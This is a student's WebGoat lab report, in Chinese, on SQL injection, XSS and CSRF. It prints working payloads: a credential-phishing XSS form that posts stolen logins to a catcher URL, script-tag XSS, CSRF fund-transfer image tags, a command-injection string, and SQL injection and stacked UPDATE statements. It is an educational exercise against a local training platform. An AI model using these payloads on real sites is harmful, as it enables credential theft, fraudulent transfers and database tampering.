20145225唐振遠《網絡對抗》 Web安全基礎實踐

20145225唐振遠《網絡對抗》Web安全基礎實踐

參考博客：20145215 盧肖明

基礎問題回答

（1）SQL注入攻擊原理，如何防護？

• SQL注入攻擊就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務器執行惡意SQL命令的目的。

• 防護：利用輸入規則限制進行防護，過濾輸入的數據，不容許特殊字符輸入。

（2）XSS攻擊的原理，如何防護？

• 跨站腳本攻擊，容許惡意用戶將惡意Script代碼注入到網頁上，當用戶瀏覽網頁時，嵌入其中Web裏面的Script代碼會被執行，從而被攻擊，其餘用戶在觀看網頁時就會受到影響。XSS攻擊的主要目的是，想辦法獲取目標攻擊網站的cookie，由於有了cookie至關於有了seesion，有了這些信息就能夠在任意能接進互聯網的pc登錄該網站，並以其餘人的身份登錄，作一些破壞。

• 防護：在表單提交或者url參數傳遞前，對須要的參數進行過濾；檢查用戶輸入的內容中是否有非法內容，如尖括號、引號等，嚴格控制輸出。

（3）CSRF攻擊原理，如何防護？

• CSRF攻擊即跨站僞造攻擊，顧名思義，就是攻擊者向目標網站注入一個惡意的URL跨站地址，當用戶點擊了該URL，就能夠進行一些用戶本不但願的事情。

• 防護：經過referer、token或者驗證碼來檢測用戶提交；在form中包含祕密信息、用戶指定的代號做爲cookie以外的驗證；按期清理保存的cookie。

 

WebGoat

• WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺，用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上，目前提供的訓練課程有不少，包含了XSS、線程安全、SQL注入等，咱們本次的實驗就是在WebGoat平臺上進行。

1. WebGoat分爲簡單版和開發板，簡單版是個Java的Jar包，只須要有Java環境便可，咱們在命令行裏執行：java -jar webgoat-container-7.0.1-war-exec.jar運行WebGoat：

2.WebGoat使用8080端口，因此在瀏覽器上訪問localhost:8080/WebGoat，進入WebGoat以後，能夠看到有不少題目來讓咱們進行練習。

 

Phishing with XSS

1. 這個題目咱們要在搜索框中輸入XSS攻擊代碼，利用XSS能夠在已存在的頁面中進一步添加元素的特色。咱們先建立一個form，讓受害人在咱們建立的form中填寫用戶名和密碼，再添加一段JavaScript代碼，讀取受害人輸入的用戶名和密碼，而且將這些信息發送給http://localhost:8080/WebGoat/catcher?PROPERTY=yes...，完整的XSS攻擊代碼以下：

   </form>
   <script>
       function hack(){ 
           XSSImage=new Image;
           XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
           alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
       } 
   </script>
   <form name="phish">
   <br>
   <br>
   <HR>
       <H2>This feature requires account login:</H2>
   <br>
       <br>Enter Username:<br>
       <input type="text" name="user">
       <br>Enter Password:<br>
       <input type="password" name = "pass">
   <br>
       <input type="submit" name="login" value="login" onclick="hack()">
   </form>
   <br>
   <br>
   <HR>

   輸入用戶名密碼，點擊登陸，WebGoat會將你輸入的信息捕獲並反饋給你

 

攻擊成功：

 

 

 

Stored XSS Attacks

1. 咱們的目標是要建立非法的消息內容，能夠致使其餘用戶訪問時載入非預期的頁面或內容，這個很容易啊，在上個實驗中咱們也作過，直接在title裏隨便輸點啥，而後在message中輸入一串代碼，好比：<script>alert("5225 attack succeed!");</script>

 

 

Reflected XSS Attacks

1. 當咱們輸入錯誤用戶信息後，服務器校驗輸入有誤，返回錯誤頁面並將錯誤內容展現給咱們看：

 

在code框中輸入<script>alert("5225 attack succeed!");</script>將帶有攻擊性的URL做爲輸入源。

彈出會話框，反射型XSS攻擊成功！

Cross Site Request Forgery

寫一個URL誘使其餘用戶點擊，從而觸發CSRF攻擊，咱們能夠以圖片的的形式將URL放進Message框，這時的URL對其餘用戶是不可見的，用戶一旦點擊圖片，就會觸發一個CSRF事件。

在message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=270&menu=900&transferFunds=4000"/>

（Screen和menu的值在窗口右邊查看）

提交後在下面的Message List裏面能夠看我剛剛發送的消息，點擊它，當前頁面就會下載這個消息並顯示出來，轉走用戶的5225元，從而達到CSRF攻擊的目的

 Screen和menu的值每一個人的電腦可能不同，能夠在當前頁面的右邊有個Parameters進行查看：

提交後，會在消息列表中看到一個新的消息，點擊該消息，當前頁面就會下載這個消息並顯示出來，轉走用戶的4000元，從而達到CSRF攻擊的目的。

 

CSRF Prompt By-Pass

瀏覽器開啓一個新頁面，輸入localhost:8080/WebGoat/attack?Screen=1410&menu=900&transferFunds=5000進入確認轉帳請求頁面。

點擊CONFIRM以後，再輸入localhost:8080/WebGoat/attack?Screen=1410&menu=900&transferFunds=CONFIRM

成功轉走了5000元。緣由是網頁的源代碼中transferFunds的值變成了CONFIRM。

Command Injection

瀏覽器下的一個擴展Firebug對源代碼進行修改，右鍵點擊BackDoors.help旁邊加上 "& netstat -an & ipconfig"

選中修改後的值再點擊view，能夠看到命令被執行，出現系統網絡鏈接狀況：

Numeric SQL Injection

在103後面加上一個 or 1=1使其成爲永真式。

點擊Go！發現已經成功了。

String SQL Injection

輸入' or 1=1 --構造永真式。點擊Go！發現全部用戶信息都被顯示出來了。

LAB:SQL Injection(Stage 1:String SQL Injection)

輸入' or 1=1 --注入，失敗。在輸入框右鍵打開html源碼，發現maxlength被限制爲8。修改爲20，再次登錄，成功！

LAB:SQL Injection(Stage 3:Numeric SQL Injection)

在上一個實驗的基礎上，過一個普通員工的帳戶larry，瀏覽其BOSS的帳戶信息。

在larry的名字右鍵，打開源碼，發現這個地方是以員工ID做爲索引傳遞參數的。將value的值修改成101 or 1=1 order by salary desc --

這樣老闆的信息就會被排到第一個。

再次點擊ViewProfile，發現已經看到老闆的信息了。

Database Backdoors

先輸入101，獲得該用戶的信息：

注入語句101; update employee set salary=5225，將其工資變爲了5225。